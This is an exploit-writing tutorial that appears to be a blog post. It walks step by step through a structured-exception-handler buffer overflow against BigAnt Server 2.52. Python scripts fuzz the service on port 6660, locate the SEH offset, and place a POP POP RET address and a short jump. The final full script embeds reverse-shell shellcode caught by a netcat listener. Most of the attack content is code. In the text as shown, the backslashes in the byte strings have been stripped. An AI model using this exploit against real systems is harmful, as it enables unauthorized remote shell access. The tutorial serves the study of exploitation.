header

In this edition of exploit tutorials, we will be taking the next step in buffer overflow exploitation. We will be walking through an example of a Structured Exception Handler (SEH) bypass in a buffer overflow process. This particular example will cover the BigAnt Server 2.52 – Download Link.

This example focuses on the first obstacle one might encounter when fuzzing an application and generating an exploit, but does not ramp up significantly in difficulty at this point. To successfully follow along with this post, the following setup is recommended:

1. VM platform (Virtualbox, Vmware, etc.)

2. Have a Windows 32-bit XP VM and a Kali Linux or BackTrack 5 VM

3. Install Immunity debugger, Mona.py, and BigAnt Server 2.52 on a Windows VM

Before beginning with this example, a basic introduction to Structured Exception Handlers (SEH) is required.

Structured Exception Handler (SEH):

An exception handler is a portion of code contained within an application, designed to handle an exception that may occur during runtime. Windows contains an exception handler by default (SEH) which is designed to catch an exception and generate an error. The pointer to the exception handler is added to the stack in the form of the ‘Exception Registration Record’ (SEH) and ‘Next Exception Registration Record’ (nSEH). Due to the flow of of the Windows stack, the order is reversed (nSEH and then SEH). Once the exception happens, we are able to see that the memory location of SEH is located eight (8) bytes after the value of the ESP register (ESP + 8 bytes).

This is important to the buffer overflow exploitation process due to the function of the handler. If the buffer is overflown and data is written to the SEH (located eight bytes after ESP), then all of the CPU registers are set to zero (0) and this prevents us from executing our shellcode successfully. Our goal at this point is to successfully overflow the buffer, and removing the eight additional bytes from the stack, and returning execution to the top of the stack, thus allowing execution of our shellcode.

Fuzzing:

To begin the exploit development process, we will need to first use a fuzzer to supply varying types of input to the application. In this example, we will be leverage a basic python script to supply an overly long USV request to the ‘antserver.exe’ process and successfully crashing the application. Below is a basic Python script that will be leveraged to build our exploit:

#!/usr/bin/python
# Import the required modules the script will leverage
# This lets us use the functions in the modules instead of writing them from scratch
import sys, socket

# Set the first argument given at CLI to the 'target' variable
target = sys.argv[1]
# set the 'port' variable to 6660
port = 6660
# Create a string of 2500 A's 'x41'
buff='x41'*2500

# Make a connection to target system on TCP/6660
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((target,port))
# Send in a string 'USV ' + the string 'buff'
s.send('USV ' + buff + 'rnrn')
s.close()

We will now start the application and attach the ‘AntServer’ process to the Immunity debugger (File > Attach):

SCREENSHOT 1

Once we hit play and allow the application to run, we can begin to run our fuzzer to see if we can crash the application:

SCREENSHOT 3

In the screenshot above, we can see we successfully overwrote the EIP and ESP registers, as well as the structured exception handler. We can view the current state of the SEH by pressing Alt+S. As we can see, we have successfully overwritten the EDX, ESP, and ESI registers, as well as the SEH and nSEH. You’ll notice that we have NOT successfully overwritten the EIP register as with the last example, but we can press SHIFT+F9 to pass the exception to the server, further overwriting EIP with our A’s.

SCREENSHOT 4

Now that we have control of SEH, we are able to successfully gain control of code execution, although it is not as straight forward as a standard JMP ESP command. We will need to find the offset of SEH in the buffer overwrite. We can do this utilizing Metasploit’s “pattern_create.rb” script which will produce a unique string with a pattern:

SCREENSHOT 5

We can now take our unique string and determine the bytes needed to overwrite SEH:

#!/usr/bin/python
# Import the required modules the script will leverage
# This lets us use the functions in the modules instead of writing them from scratch
import sys, socket
# Set the first argument given at CLI to the 'target' variable
target = sys.argv[1]
# set the 'port' variable to 6660
port = 6660
# Create a string of 2500 A's 'x41'
buff = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab<....SNIP....>De2De3De4De5De6De7De8De9Df0Df1Df2D"

# Make a connection to target system on TCP/6660
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((target,port))
# Send in a string 'USV ' + the string 'buff'
s.send('USV ' + buff + 'rnrn')
s.close()

After the application crash occurs, we can now see what offset the value sits in our buffer. To do so, we have the option of using Metasploit’s “pattern_offset.rb” script, or we can use the Mona.py functionality “findmsp” to automatically determine our offset. To do so, allow the program to crash using your unique string, and then type “!mona findmsp” in the command bar of Immunity”

SCREENSHOT 6

As we can now see, our offset to the nSEH field (which occurs first prior to SEH) is 962 bytes. To test this, we can modify our buffer as follows:

buff = “A”*962 + [nSEH] + [SEH] + “D”*1530

For validation purposes, this will be modified to the following:

buff = “A”*962 + “BBBB” + “CCCC” + “D”*1530

After resending our exploit, nSEH has been overwritten with our B’s, and SEH has been overwritten with our C’s, as well as placing our D’s in a suitable location for shellcode placement.

SCREENSHOT 7

Controlling Program Execution:

Now that we know we can successfully write data to both the nSEH and SEH locations, as well as have room to store our shellcode, we now need to locate the appropriate series of commands to redirect execution. In the previous example of a standard EIP overwrite, we were able to add a “JMP ESP command as our EIP value. Unfortunately, if we attempt to do this we our SEH program, it will cause the registers to be zeroed out, breaking execution of our shellcode. To get around this, we will need to locate a “POP POP RET” command.

With a “POP POP RET” command, what we are doing is essentially incrementing the stack by four (4) bytes, then an additional four (4) bytes, and then returning to a memory location for program execution. This is due to the location of nSEH being 8 bytes after ESP (ESP+8), and will prevent us from breaking code execution and zeroing our registers. To find an appropriate memory location for an SEH bypass, we can again call the Mona.py function by using the “!mona seh” command:

SCREENSHOT 8

Now that we have a list of possibly memory locations, we need to do a quick review of what’s available to see what will work properly. The first step is to make sure that none of the standard bad characters (x00x0ax0d) are used in the memory address so that our SEH overwrite will function.

In addition to this, we need to determine if there is a byte offset in the RET function (characterized with a 0x04 or the like after the RET command), and ensuring that no additional countermeasures (ASLR, SafeSEH, etc). We can also see if there is a usable location in the program being exploited, which would allow porting of the exploit to other operating systems, rather than an OS DLL which will only function on a system with the same configuration (ex. Windows XP SP3 32 bit).

In this instance, we will chose an OS DLL to avoid dealing with any offsets in the RET command. We will add this “POP POP RET” command (reversed due to little endian) to the SEH value in our current exploit as follows:

buff = “A”*962 + “BBBB” + “xa9x4ex83x1b” + “D”*1530

We can see the current iteration of our script below:

#!/usr/bin/python
# Import the required modules the script will leverage
# This lets us use the functions in the modules instead of writing them from scratch
import sys, socket
# Set the first argument given at CLI to the 'target' variable
target = sys.argv[1]
# set the 'port' variable to 6660
port = 6660
# Overwrite SEH with a POP POP RET
# 0x1b834ea9 | pop esi # pop edi # ret | (C:WINDOWSsystem32msjtes40.dll)
buff = "A"*962 + "BBBB" + "xa9x4ex83x1b" + "D"*1530

# Make a connection to target system on TCP/6660
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((target,port))
# Send in a string 'USV ' + the string 'buff'
s.send('USV ' + buff + 'rnrn')
s.close()

We will now set a breakpoint at our SEH overwrite by following the memory location and pressing F2, then running the application:

SCREENSHOT 9

We then use Shift+F9 to pass the exception to the program, which will continue to the SEH address, and hit our breakpoint and pause program execution. We can use F7 to step through the “POP POP RETN” commands and hit our four B’s, followed by a “TEST EAX” command, and then our D’s (which will be where our shellcode executes.

SCREENSHOT 10

Our next step is to perform a “JMP” to our D’s, which can be done directly in Immunity. To do so, we can press “A” on our keyboard, which will bring the ‘Assemble at ‘ window up. We add in a “JMP SHORT” command to the memory address of our D’s. The “JMP SHORT” represents a “JMP” forward of a specific number of bytes, in this case seven (7), resulting in the following:

SCREENSHOT 11

This will provide us with the necessary opcode to use within our nSEH value. Due to the fact that it is only two (2) bytes, we will need to pad it with NOPs (x90), which will change our buffer to the following:

buff = “A”*962 + “xebx07x90x90” + “xa9x4ex83x1b” + “D”*1530

We can now validate the functionality by executing our new version of the script, after setting our breakpoint at the “POP POP RET” function, and stepping through until we hit our D’s.

SCREENSHOT 12

Getting Our Shell:

Now that we have hit our D’s, it’s time to generate shellcode as a replacement. Our shellcode will be whatever end result that we want to occur after successful exploitation. In this example, we will use an msfpayload to create a reverse shell. For the sake of not overwhelming you, the bad characters for this example are (“x00x0ax0dx20x25”). We will detail bad character analysis in a later post in more detail.

To generate our shellcode, we will use the following command:

SCREENSHOT 13

After adding our shellcode to the exploit, we will set up a netcat listener on port 443 with the command ‘nc -lvnp 443’. We will then execute our exploit, again stepping through our break and watching the steps. As we step through the shellcode, our reverse shell is returned:

SCREENSHOT 14

And now we can review our final functional exploit:

#!/usr/bin/python
# Import the required modules the script will leverage
# This lets us use the functions in the modules instead of writing them from scratch
import sys, socket
shellcode = (
"xdbxc0xbfx4cx13x02x4exd9x74x24xf4x5dx33xc9xb1"
"x4fx31x7dx19x83xc5x04x03x7dx15xaexe6xfexa6xa7"
"x09xffx36xd7x80x1ax07xc5xf7x6fx3axd9x7cx3dxb7"
"x92xd1xd6x4cxd6xfdxd9xe5x5cxd8xd4xf6x51xe4xbb"
"x35xf0x98xc1x69xd2xa1x09x7cx13xe5x74x8fx41xbe"
"xf3x22x75xcbx46xffx74x1bxcdxbfx0ex1ex12x4bxa4"
"x21x43xe4xb3x6ax7bx8ex9bx4ax7ax43xf8xb7x35xe8"
"xcax4cxc4x38x03xacxf6x04xcfx93x36x89x0exd3xf1"
"x72x65x2fx02x0ex7dxf4x78xd4x08xe9xdbx9fxaaxc9"
"xdax4cx2cx99xd1x39x3bxc5xf5xbcxe8x7dx01x34x0f"
"x52x83x0ex2bx76xcfxd5x52x2fxb5xb8x6bx2fx11x64"
"xc9x3bxb0x71x6bx66xddxb6x41x99x1dxd1xd2xeax2f"
"x7ex48x65x1cxf7x56x72x63x22x2execx9axcdx4ex24"
"x59x99x1ex5ex48xa2xf5x9ex75x77x59xcfxd9x28x19"
"xbfx99x98xf1xd5x15xc6xe1xd5xffx71x26x41xc0x2a"
"x90xf7xa8x28xe0xf6x93xa4x06x92xf3xe0x91x0bx6d"
"xa9x69xadx72x67xf9x4exe0xecxf9x19x19xbbxaex4e"
"xefxb2x3ax63x56x6dx58x7ex0ex56xd8xa5xf3x59xe1"
"x28x4fx7exf1xf4x50x3axa5xa8x06x94x13x0fxf1x56"
"xcdxd9xaex30x99x9cx9cx82xdfxa0xc8x74x3fx10xa5"
"xc0x40x9dx21xc5x39xc3xd1x2ax90x47xe1x60xb8xee"
"x6ax2dx29xb3xf6xcex84xf0x0ex4dx2cx89xf4x4dx45"
"x8cxb1xc9xb6xfcxaaxbfxb8x53xcax95")

# Set the first argument given at CLI to the 'target' variable
target = sys.argv[1]
# set the 'port' variable to 6660
port = 6660
# Overwrite SEH with a POP POP RET
# 0x1b834ea9 | pop esi # pop edi # ret | (C:WINDOWSsystem32msjtes40.dll)
# EB 07 opcode to jump forward seven bytes, landing at shellcode
buff = "A"*962 + "xebx07x90x90" + "xa9x4ex83x1b" + "x90"*16 + shellcode + "D"*1273

# Make a connection to target system on TCP/6660
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((target,port))
# Send in a string 'USV ' + the string 'buff'
s.send('USV ' + buff + 'rnrn')
s.close()

This blog post touched on one of the first obstacles one will encounter during the buffer overflow research and development process. As we walk through future tutorials, we will cover more complex issues encountered, such as an “Egghunter” technique due to shellcode space limitations.

If you’re looking for additional exploit tutorials, check out Offensive-Security training, the Fuzzy Security blog, and Corelan.